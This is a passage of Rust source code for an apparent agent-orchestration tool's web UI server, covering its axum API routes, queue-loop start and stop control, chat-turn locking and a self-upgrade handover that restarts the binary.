1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
331 resuming: Arc<Mutex<HashSet<String>>>,
339 repos_cache: repos::Cache,
343 machine_config: Option<PathBuf>,
347 merge: Option<String>,
349 looping: Arc<Mutex<LoopState>>,
351 launch: Launch,
363 #[cfg(test)]
366 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
367}
368
369#[cfg(test)]
389struct BusyQueueGate {
390 reached: tokio::sync::oneshot::Sender<()>,
391 release: std::sync::mpsc::Receiver<()>,
392}
393
394#[cfg(test)]
395impl std::fmt::Debug for BusyQueueGate {
396 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
397 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
398 }
399}
400
401impl Ui {
402 pub fn new(
404 queue: Queue,
405 questions: Questions,
406 talks: Talks,
407 runs: PathBuf,
408 home: PathBuf,
409 repo: PathBuf,
410 ) -> Self {
411 Self {
412 queue,
413 questions,
414 notices: Notices::at(home.join("notifications")),
415 talks,
416 runs,
417 home,
418 repo,
419 worktrees_root: run::default_worktree_root(),
423 talk_turns: Arc::default(),
424 upgrade_gate: Arc::default(),
425 upgrade_spawned: Arc::default(),
426 upgrade_request_error: Arc::default(),
427 resuming: Arc::default(),
428 repos_cache: repos::Cache::new(),
429 machine_config: Config::machine_layer(),
430 merge: None,
431 looping: Arc::default(),
432 launch: launch_daemon,
433 #[cfg(test)]
434 busy_queue_gate: Arc::default(),
435 }
436 }
437
438 pub fn open(repo: PathBuf) -> Self {
441 Self::new(
442 Queue::open(),
443 Questions::open(),
444 Talks::open(),
445 run::runs_root(),
446 run::home(),
447 repo,
448 )
449 }
450
451 #[must_use]
458 pub fn with_merge(mut self, merge: Option<String>) -> Self {
459 self.merge = merge;
460 self
461 }
462
463 #[cfg(test)]
466 #[must_use]
467 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
468 self.machine_config = path;
469 self
470 }
471
472 #[must_use]
477 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
478 self.worktrees_root = root;
479 self
480 }
481
482 #[cfg(test)]
487 #[must_use]
488 fn with_launch(mut self, launch: Launch) -> Self {
489 self.launch = launch;
490 self
491 }
492
493 #[cfg(test)]
503 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
504 *self
505 .busy_queue_gate
506 .lock()
507 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
508 }
509
510 fn looping(&self) -> Arc<Mutex<LoopState>> {
512 Arc::clone(&self.looping)
513 }
514
515 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
522 if let Some(other) = foreign {
523 return Err(ApiError::conflict(format!(
524 "{} is already running the loop, so this one will not start a \
525 second: two loops on one queue race for the same claims and \
526 burn the agent quota twice over. Stop it where it was \
527 started.",
528 other.who()
529 )));
530 }
531 let mut state = self.lock_loop();
532 if state.live.as_ref().is_some_and(Live::alive) {
533 return Err(ApiError::conflict(format!(
534 "this magi web process (pid {}) is already running the loop",
535 std::process::id()
536 )));
537 }
538
539 let stop = daemon::Stop::new();
540 let opts = daemon::Opts {
544 repo: self.repo.clone(),
545 merge: self.merge.clone(),
546 worktrees_root: Some(self.worktrees_root.clone()),
553 ..daemon::Opts::default()
554 };
555 let launch = self.launch;
556 let looping = Arc::clone(&self.looping);
557 let handle = tokio::spawn({
558 let opts = opts.clone();
559 let stop = stop.clone();
560 async move {
561 let failure = match launch(opts, stop).await {
562 Ok(()) => None,
563 Err(e) => Some(format!("{e:#}")),
564 };
565 match &failure {
566 Some(why) => tracing::error!("the loop stopped: {why}"),
567 None => tracing::info!("the loop stopped"),
568 }
569 let mut state = lock_or_recover(&looping);
575 state.live = None;
576 state.last_error = failure;
577 state.rev += 1;
578 }
579 });
580 tracing::info!(
581 "the loop is now running in this process: repo {}, merge {}",
582 opts.repo.display(),
583 opts.merge.as_deref().unwrap_or("as the config says")
584 );
585 state.live = Some(Live { stop, handle, opts });
586 state.last_error = None;
589 state.rev += 1;
590 Ok(())
591 }
592
593 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
599 if let Some(other) = foreign {
600 return Err(ApiError::conflict(format!(
601 "the loop belongs to {}, and this process cannot stop it - \
602 stop it where it was started. A button that silently did \
603 nothing would be worse than this refusal.",
604 other.who()
605 )));
606 }
607 let mut state = self.lock_loop();
608 if !park {
611 state.resume_after_handover = false;
612 }
613 let Some(live) = state.live.as_ref() else {
614 return Ok(());
615 };
616 if live.stop.stopped() && (!park || live.stop.parking()) {
620 return Ok(());
621 }
622 if park {
623 live.stop.park(crate::run::ParkCause::Operator);
624 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
625 } else {
626 live.stop.stop();
627 tracing::info!("the loop was asked to stop; a run in flight is finished first");
628 }
629 state.rev += 1;
630 Ok(())
631 }
632
633 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
640 let state = self.lock_loop();
641 let live = state.live.as_ref().filter(|live| live.alive());
644 LoopView {
645 running: live.is_some(),
646 stopping: live.is_some_and(|live| live.stop.finishing()),
647 parking: live.is_some_and(|live| live.stop.parking()),
648 owned: live.is_some(),
649 repo: live
650 .map_or(&self.repo, |live| &live.opts.repo)
651 .display()
652 .to_string(),
653 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
654 last_error: state.last_error.clone(),
655 daemon: DaemonView::of(reading),
656 }
657 }
658
659 fn resume_after_handover(&self, resume: bool) -> bool {
665 if !resume {
666 return false;
667 }
668 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
669 match self.start_loop(foreign) {
670 Ok(()) => true,
671 Err(e) => {
672 let why = format!(
673 "the loop could not be resumed after the upgrade: {}",
674 e.message
675 );
676 tracing::warn!("{why}");
677 let mut state = self.lock_loop();
678 state.last_error = Some(why);
679 state.rev += 1;
680 false
681 }
682 }
683 }
684
685 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
687 lock_or_recover(&self.looping)
688 }
689
690 fn is_thinking(&self, id: &str) -> bool {
696 self.talk_turns
697 .lock()
698 .is_ok_and(|turns| turns.live.contains(id))
699 || self.talks.turn_held(id)
702 }
703
704 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
723 self.claim_talk_turn(id, false)
724 }
725
726 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
729 self.claim_talk_turn(id, true)
730 }
731
732 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
733 let mut live = self
734 .talk_turns
735 .lock()
736 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
737 if live.parking {
738 if queued {
739 *live.queued.entry(id.to_owned()).or_default() += 1;
742 return Ok(None);
743 }
744 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
745 }
746 let inserted = live.live.insert(id.to_owned());
747 let lease = if inserted {
751 match self.talks.claim_turn(id) {
752 Ok(Some(lease)) => Some(lease),
753 Ok(None) => {
754 live.live.remove(id);
755 None
756 }
757 Err(e) => {
758 live.live.remove(id);
759 return Err(ApiError::from(e));
760 }
761 }
762 } else {
763 None
764 };
765 if lease.is_none() {
766 if queued {
767 *live.queued.entry(id.to_owned()).or_default() += 1;
772 }
773 return Ok(None);
774 }
775 Ok(Some(TalkTurnGuard {
776 talk: id.to_owned(),
777 turns: Arc::clone(&self.talk_turns),
778 released: false,
779 lease,
780 }))
781 }
782
783 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
788 let mut live = self
789 .talk_turns
790 .lock()
791 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
792 if live.parking || live.live.contains(id) {
794 return Ok(TalkTurnStart::Busy);
795 }
796 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
797 return Ok(TalkTurnStart::Foreign);
798 };
799 let talk = self.talks.get(id).map_err(ApiError::from)?;
801 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
802 return Ok(TalkTurnStart::Pending);
803 }
804 live.live.insert(id.to_owned());
805 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
806 talk: id.to_owned(),
807 turns: Arc::clone(&self.talk_turns),
808 released: false,
809 lease: Some(lease),
810 }))
811 }
812
813 fn queued_generation(&self, id: &str) -> u64 {
814 let live = self
815 .talk_turns
816 .lock()
817 .unwrap_or_else(PoisonError::into_inner);
818 live.queued.get(id).copied().unwrap_or(0)
819 }
820
821 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
823 Arc::clone(&self.talk_turns)
824 }
825
826 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
833 let parking = {
834 let mut state = self.lock_loop();
835 let resume = state.resume_after_handover
845 || state
846 .live
847 .as_ref()
848 .is_some_and(|live| live.alive() && !live.stop.stopped());
849 state.resume_after_handover = resume;
850 let Some(live) = state.live.as_ref() else {
851 return Ok(None);
852 };
853 let busy = live.stop.busy_now();
854 live.stop.park(crate::run::ParkCause::Upgrade {
855 from: from.to_owned(),
856 to: to.map(|t| t.trim_start_matches('v').to_owned()),
857 });
858 state.rev += 1;
859 busy
860 };
861 Ok(if parking {
862 daemon::current_work(&self.home, jiff::Timestamp::now())
867 .into_iter()
868 .next()
869 .map(|c| c.run)
870 } else {
871 None
872 })
873 }
874
875 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
879 let mut live = self
880 .resuming
881 .lock()
882 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
883 if !live.insert(id.to_owned()) {
884 return Err(ApiError::conflict(format!(
885 "run {id} is already being resumed"
886 )));
887 }
888 Ok(ResumeGuard {
889 run: id.to_owned(),
890 resuming: Arc::clone(&self.resuming),
891 })
892 }
893
894 pub fn router(self) -> Router {
902 Router::new()
903 .route("/", get(index))
904 .route("/app.css", get(app_css))
905 .route("/app.js", get(app_js))
906 .route("/api/health", get(health))
907 .route("/api/loop", get(loop_get).post(loop_post))
908 .route("/api/upgrade", post(upgrade_post))
909 .route("/api/runs", get(runs_list))
910 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
911 .route("/api/runs/{id}/report", get(run_report))
912 .route("/api/runs/{id}/report.json", get(run_report_json))
913 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
914 .route("/api/runs/{id}/fold", post(run_fold))
915 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
916 .route("/api/runs/{id}/resume", post(run_resume))
917 .route("/api/queue", get(queue_list))
918 .route("/api/search", get(search_get))
919 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
920 .route("/api/stats", get(stats_get))
921 .route("/api/repos", get(repos_list))
922 .route("/api/settings", get(settings_get))
923 .route("/api/settings/roles", put(settings_put_roles))
924 .route("/api/queue/{id}/hold", post(queue_hold))
925 .route("/api/queue/{id}/release", post(queue_release))
926 .route("/api/queue/{id}/priority", post(queue_priority))
927 .route("/api/queue/{id}/urgent", post(queue_urgent))
928 .route("/api/queue/{id}/implementers", post(queue_implementers))
929 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
930 .route("/api/queue/{id}/edit", post(queue_edit))
931 .route("/api/queue/{id}/done", post(queue_done))
932 .route("/api/questions", get(questions_list))
933 .route("/api/questions/{id}/answer", post(question_answer))
934 .route("/api/questions/{id}/say", post(question_say))
935 .route("/api/questions/{id}/consult", post(question_consult))
936 .route("/api/questions/{id}/panel", get(question_panel))
937 .route("/api/questions/{id}/panel/index.html", get(question_panel))
945 .route("/api/questions/{id}/panel/{name}", get(question_asset))
946 .route("/api/questions/{id}/asset/{name}", get(question_asset))
947 .route("/api/notifications", get(notifications_list))
948 .route("/api/notifications/read-all", post(notifications_read_all))
949 .route("/api/notifications/{id}/read", post(notification_read))
950 .route(
951 "/api/notifications/{id}/dismiss",
952 post(notification_dismiss),
953 )
954 .route("/api/talks", get(talks_list).post(talk_post))
955 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
956 .route("/api/talks/{id}/say", post(talk_say))
957 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
958 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
959 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
960 .route("/api/talks/{id}/agent", post(talk_agent))
961 .route("/api/talks/{id}/persona", post(talk_persona))
962 .route("/api/talks/{id}/implementers", post(talk_implementers))
963 .route("/api/talks/{id}/close", post(talk_close))
964 .route("/api/talks/{id}/reopen", post(talk_reopen))
965 .route(
971 "/api/talks/{id}/attachments",
972 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
973 )
974 .route(
975 "/api/talks/{id}/attachments/{att}",
976 get(talk_attachment_get),
977 )
978 .route("/api/talks/{id}/avatar", get(talk_avatar))
979 .route("/avatars/operator.svg", get(operator_avatar))
980 .route(
981 "/api/avatar-settings",
982 get(avatar_settings_get)
983 .put(avatar_settings_put)
984 .delete(avatar_settings_delete),
985 )
986 .route("/avatars/persona", get(settings_persona_avatar))
987 .route("/avatars/magi", get(magi_avatar))
988 .route(
989 "/api/magi-icon",
990 get(magi_icon_get)
991 .put(magi_icon_put)
992 .delete(magi_icon_delete),
993 )
994 .route("/api/events", get(events))
995 .with_state(Arc::new(self))
996 }
997}
998
999const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1002
1003#[derive(Debug)]
1009struct TalkTurnGuard {
1010 talk: String,
1011 turns: Arc<Mutex<TalkTurns>>,
1012 released: bool,
1013 lease: Option<crate::talk::TurnLease>,
1015}
1016
1017#[derive(Debug, Default)]
1024struct TalkTurns {
1025 live: HashSet<String>,
1026 queued: HashMap<String, u64>,
1027 parking: bool,
1031}
1032
1033enum TalkTurnStart {
1036 Claimed(TalkTurnGuard),
1037 Busy,
1038 Foreign,
1041 Pending,
1042}
1043
1044impl TalkTurnGuard {
1045 fn owns(&self) -> bool {
1049 self.lease
1050 .as_ref()
1051 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1052 }
1053
1054 async fn respond(
1057 &self,
1058 talk: &mut Talk,
1059 talks: &Talks,
1060 cfg: &Config,
1061 text: &str,
1062 ) -> anyhow::Result<()> {
1063 let lease = self
1064 .lease
1065 .as_ref()
1066 .context("the turn guard no longer holds its lease")?;
1067 talk::respond(lease, talk, talks, cfg, text).await
1068 }
1069
1070 fn release(mut self, live: &mut TalkTurns) {
1073 self.lease = None;
1077 live.live.remove(&self.talk);
1078 live.queued.remove(&self.talk);
1079 self.released = true;
1080 }
1081}
1082
1083impl Drop for TalkTurnGuard {
1084 fn drop(&mut self) {
1085 if self.released {
1086 return;
1087 }
1088 drop(self.lease.take());
1090 if let Ok(mut live) = self.turns.lock() {
1091 live.live.remove(&self.talk);
1092 live.queued.remove(&self.talk);
1093 }
1094 }
1095}
1096
1097struct ResumeGuard {
1099 run: String,
1100 resuming: Arc<Mutex<HashSet<String>>>,
1101}
1102
1103impl Drop for ResumeGuard {
1104 fn drop(&mut self) {
1105 if let Ok(mut live) = self.resuming.lock() {
1106 live.remove(&self.run);
1107 }
1108 }
1109}
1110
1111async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1121 const WINDOW: Duration = Duration::from_secs(10);
1122 const GAP: Duration = Duration::from_millis(250);
1123
1124 let deadline = std::time::Instant::now() + WINDOW;
1125 let mut said = false;
1126 loop {
1127 match tokio::net::TcpListener::bind(socket).await {
1128 Ok(listener) => return Ok(listener),
1129 Err(e)
1130 if e.kind() == std::io::ErrorKind::AddrInUse
1131 && std::time::Instant::now() < deadline =>
1132 {
1133 if !said {
1134 said = true;
1135 tracing::info!(
1136 "{socket} is still held - waiting up to {}s for it, \
1137 which is what a restart looks like from here",
1138 WINDOW.as_secs()
1139 );
1140 }
1141 tokio::time::sleep(GAP).await;
1142 }
1143 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1144 }
1145 }
1146}
1147
1148static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1151
1152const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1154
1155fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1157 value.is_some_and(|v| v == "1")
1158}
1159
1160fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1183 let exe = std::env::current_exe().context("find this binary")?;
1184 let args: Vec<String> = std::env::args().skip(1).collect();
1185 updater::log_step(
1186 home,
1187 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1188 );
1189 let log_path = home.join(WEB_LOG);
1190 let open_log = || {
1191 std::fs::create_dir_all(home)?;
1192 std::fs::OpenOptions::new()
1193 .create(true)
1194 .append(true)
1195 .open(&log_path)
1196 };
1197 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1198 Ok(pair) => (
1199 std::process::Stdio::from(pair.0),
1200 std::process::Stdio::from(pair.1),
1201 ),
1202 Err(e) => {
1203 updater::log_warn(
1204 home,
1205 &format!(
1206 "could not open {}: {e}; the successor logs nowhere",
1207 log_path.display()
1208 ),
1209 );
1210 (std::process::Stdio::null(), std::process::Stdio::null())
1211 }
1212 };
1213
1214 let mut cmd = std::process::Command::new(&exe);
1215 if resume {
1216 cmd.env(RESUME_LOOP_ENV, "1");
1217 } else {
1218 cmd.env_remove(RESUME_LOOP_ENV);
1219 }
1220 cmd.args(&args)
1221 .stdin(std::process::Stdio::null())
1222 .stdout(out)
1223 .stderr(err);
1224 #[cfg(windows)]
1225 {
1226 use std::os::windows::process::CommandExt as _;
1227 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1230 }
1231 let child = cmd.spawn().context("start the successor")?;
1232 Ok(child.id())
1233}
1234
1235const WEB_LOG: &str = "web.log";
1237
1238async fn wait_for_handover(signal: &Notify) {
1242 signal.notified().await;
1243}
1244
1245pub async fn serve(opts: Opts) -> Result<()> {
1270 let (addr, warning) = resolve_bind(&opts.bind);
1271 if let Some(warning) = warning {
1272 tracing::warn!("{warning}");
1273 }
1274
1275 report::set_color(false);
1281
1282 let repo = normalize_default_repo(opts.repo).await;
1283 let ui = Ui::open(repo).with_merge(opts.merge);
1284 let home = ui.home.clone();
1289 let repo = ui.repo.clone();
1290 updater::reconcile_after_restart(&home);
1295 updater::log_step(
1296 &home,
1297 &format!(
1298 "web process started (version {}); handover log {}, successor output {}",
1299 env!("CARGO_PKG_VERSION"),
1300 updater::log_path(&home).display(),
1301 home.join(WEB_LOG).display()
1302 ),
1303 );
1304 updater::spawn_watchdog(home.clone());
1305 tokio::spawn(run_update_recheck(repo, home.clone()));
1314 let looping = ui.looping();
1315 let turns = ui.turns();
1316 let talk_store = ui.talks.clone();
1317 let socket = SocketAddr::new(addr, opts.port);
1318 let listener = bind_waiting(socket).await?;
1319 let url = format!("http://{addr}:{}", opts.port);
1320 tracing::info!(
1321 "magi web UI on {url} - there is no authentication, so anyone who can \
1322 reach this address can file and hold tasks: the tailnet is the \
1323 security boundary"
1324 );
1325 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1326 tracing::info!("resumed the loop the predecessor was running");
1327 } else {
1328 tracing::info!(
1329 "the queue loop is not running yet - start it from the UI, which is \
1330 the whole reason this process can: nothing in the queue moves until \
1331 something is running the loop"
1332 );
1333 }
1334 if opts.open {
1335 println!("{url}");
1339 }
1340
1341 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1344 let interrupted = async {
1345 if tokio::signal::ctrl_c().await.is_err() {
1346 std::future::pending::<()>().await;
1351 }
1352 };
1353 let handover = wait_for_handover(&HANDOVER);
1354 let outcome = tokio::select! {
1355 joined = &mut served => match joined {
1356 Ok(outcome) => outcome.context("serve the web UI"),
1357 Err(e) => Err(e).context("the task serving the web UI ended"),
1358 },
1359 () = interrupted => {
1360 tracing::info!("shutting down the web UI");
1361 finish_loop(&home, &looping, None).await;
1362 Ok(())
1363 }
1364 () = handover => {
1365 updater::log_step(&home, "serve: the select! woke on the handover signal");
1366 let successor_home = home.clone();
1367 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1368 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1369 spawn_successor(&successor_home, resume)
1370 })
1371 .await
1372 }
1373 };
1374 updater::log_step(
1375 &home,
1376 &match &outcome {
1377 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1378 Err(e) => format!("serve: returning an error: {e:#}"),
1379 },
1380 );
1381 outcome
1382}
1383
1384async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1405 if repo != FsPath::new(".") {
1406 return repo;
1407 }
1408 let Ok(canonical) = repo.canonicalize() else {
1409 return repo;
1410 };
1411 if git::toplevel(&canonical).await.is_ok() {
1412 return repo;
1413 }
1414 let Some(home) = dirs::home_dir() else {
1415 return repo;
1416 };
1417 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1418 Some(found) => {
1419 tracing::info!(
1420 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1421 canonical.display(),
1422 found.path.display(),
1423 found.reason,
1424 );
1425 found.path
1426 }
1427 None => repo,
1428 }
1429}
1430
1431async fn hand_over(
1461 home: &FsPath,
1462 looping: &Mutex<LoopState>,
1463 turns: &Arc<Mutex<TalkTurns>>,
1464 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1465 served: tokio::task::JoinHandle<std::io::Result<()>>,
1466 successor: impl FnOnce(bool) -> Result<u32>,
1467) -> Result<()> {
1468 updater::log_step(home, "hand_over: entered; writing the parking stage");
1469 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1473 if !recorded {
1474 updater::log_warn(
1475 home,
1476 "hand_over: upgrade.json is unreadable; no parking stage",
1477 );
1478 }
1479 finish_loop(home, looping, Some(&mut lease)).await;
1484 let parking = ParkingTurns::begin(turns);
1485 let talks_done = finish_talks(home, turns, talk_wait);
1486 tokio::pin!(talks_done);
1487 let mut beat = tokio::time::interval(LEASE_BEAT);
1488 let (abandoned, waited_for) = loop {
1489 tokio::select! {
1490 left = &mut talks_done => break left,
1491 _ = beat.tick() => lease.beat(),
1492 }
1493 };
1494 drop(lease);
1495 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1496 served.abort();
1497 let _ = served.await;
1498 updater::log_step(home, "hand_over: listener released");
1499 let resume = lock_or_recover(looping).resume_after_handover;
1502 match updater::read_progress(home) {
1503 Some(mut progress) => {
1504 progress.advance(updater::Stage::Restarting);
1505 if !abandoned.is_empty() {
1506 progress.detail = Some(format!(
1507 "handed over while {} still running after {} s",
1508 updater::talks_phrase(&abandoned),
1509 waited_for.as_secs()
1510 ));
1511 }
1512 updater::write_progress_logged(home, &progress);
1513 }
1514 None => updater::log_warn(
1515 home,
1516 "hand_over: upgrade.json is unreadable; no restarting stage",
1517 ),
1518 }
1519 updater::log_step(
1520 home,
1521 &format!("hand_over: starting the successor (resume={resume})"),
1522 );
1523 drop(parking);
1524 match successor(resume) {
1525 Ok(pid) => {
1526 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1527 Ok(())
1528 }
1529 Err(e) => {
1530 updater::log_warn(
1531 home,
1532 &format!("hand_over: the successor did not start: {e:#}"),
1533 );
1534 Err(e)
1535 }
1536 }
1537}
1538
1539const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1542
1543const TALK_POLL: Duration = Duration::from_millis(250);
1545
1546fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1549 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1550}
1551
1552fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1557 let default = Config::default().graph.timeout_talk;
1558 let longest = ids
1559 .iter()
1560 .map(|id| {
1561 talks
1562 .get(id)
1563 .ok()
1564 .and_then(|t| Config::discover(&t.repo, None).ok())
1565 .map_or(default, |(c, _)| c.graph.timeout_talk)
1566 })
1567 .max()
1568 .unwrap_or(default);
1569 talk_wait_bound(longest)
1570}
1571
1572struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1576
1577impl ParkingTurns {
1578 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1579 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1580 Self(Arc::clone(turns))
1581 }
1582}
1583
1584impl Drop for ParkingTurns {
1585 fn drop(&mut self) {
1586 self.0
1587 .lock()
1588 .unwrap_or_else(PoisonError::into_inner)
1589 .parking = false;
1590 }
1591}
1592
1593async fn finish_talks(
1598 home: &FsPath,
1599 turns: &Mutex<TalkTurns>,
1600 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1601) -> (Vec<String>, Duration) {
1602 let running = || {
1603 let mut ids: Vec<String> = turns
1604 .lock()
1605 .unwrap_or_else(PoisonError::into_inner)
1606 .live
1607 .iter()
1608 .cloned()
1609 .collect();
1610 let talks = talk::Talks::at(home.join("talks"));
1613 for t in talks.list() {
1614 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1615 ids.push(t.id);
1616 }
1617 }
1618 ids.sort();
1619 ids
1620 };
1621 let started = std::time::Instant::now();
1622 let mut seen = Vec::new();
1623 let mut bound = Duration::ZERO;
1624 loop {
1625 let ids = running();
1626 if ids != seen {
1627 bound = bound.max(bound_for(&ids));
1628 if ids.is_empty() {
1629 updater::log_step(home, "finish_talks: no chat turn is running");
1630 } else {
1631 updater::log_step(
1632 home,
1633 &format!(
1634 "finish_talks: waiting for {} to finish",
1635 updater::talks_phrase(&ids)
1636 ),
1637 );
1638 }
1639 updater::set_parked_talks(home, &ids);
1640 seen = ids;
1641 }
1642 if seen.is_empty() {
1643 return (Vec::new(), bound);
1644 }
1645 if started.elapsed() >= bound {
1646 updater::log_warn(
1647 home,
1648 &format!(
1649 "finish_talks: {} still running after {} s; handing over anyway",
